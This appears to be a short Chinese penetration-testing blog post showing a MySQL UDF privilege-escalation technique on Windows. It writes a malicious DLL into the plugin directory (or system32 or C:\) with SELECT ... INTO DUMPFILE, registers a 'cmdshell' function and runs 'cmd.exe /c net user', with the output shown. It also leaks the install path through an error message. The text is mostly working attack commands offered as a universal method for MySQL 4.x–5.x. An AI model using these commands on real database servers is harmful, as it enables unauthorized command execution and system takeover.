最近渗透时要用mysql udf,发现导出system32下的方法注册不了DLL,原来一些mysql新版变到插件目录了。

mysql> select @@version;
+———–+
| @@version |
+———–+
| 5.1.41 |
+———–+
1 row in set (0.00 sec)

mysql> select data from shell into DUMPFILE ‘.\lib\plugin\UDF.DLL’;
 

ERROR 1 (HY000): Can’t create/write to file ‘Program FilesxamppmysqldatalibpluginUDF.DLL’ (Errcode: 2)
mysql>

用这方法暴出了插件的安装目录.下面是通用的导出方法:

mysql> select data from shell into DUMPFILE ‘..\lib\plugin\UDF.DLL’;
Query OK, 1 row affected (0.00 sec)
………………
mysql> select cmdshell(‘cmd.exe /c net user’);
 

\ 的用户帐户

——————————————————————————-

__vmware_user__ Administrator ASPNET
Guest HelpAssistant SUPPORT_388945a0
把你的mysqludf改为:
select data from shell into DUMPFILE ‘..\lib\plugin\UDF.DLL’;
select data from shell into DUMPFILE ‘c:\windows\system32\UDF.DLL’;
select data from shell into DUMPFILE ‘c:\UDF.DLL’; //某些版本只能在C盘根目录
Create Function cmdshell returns string soname ‘UDF.DLL’;
这样就比较通用了,对4.x-5.x都有效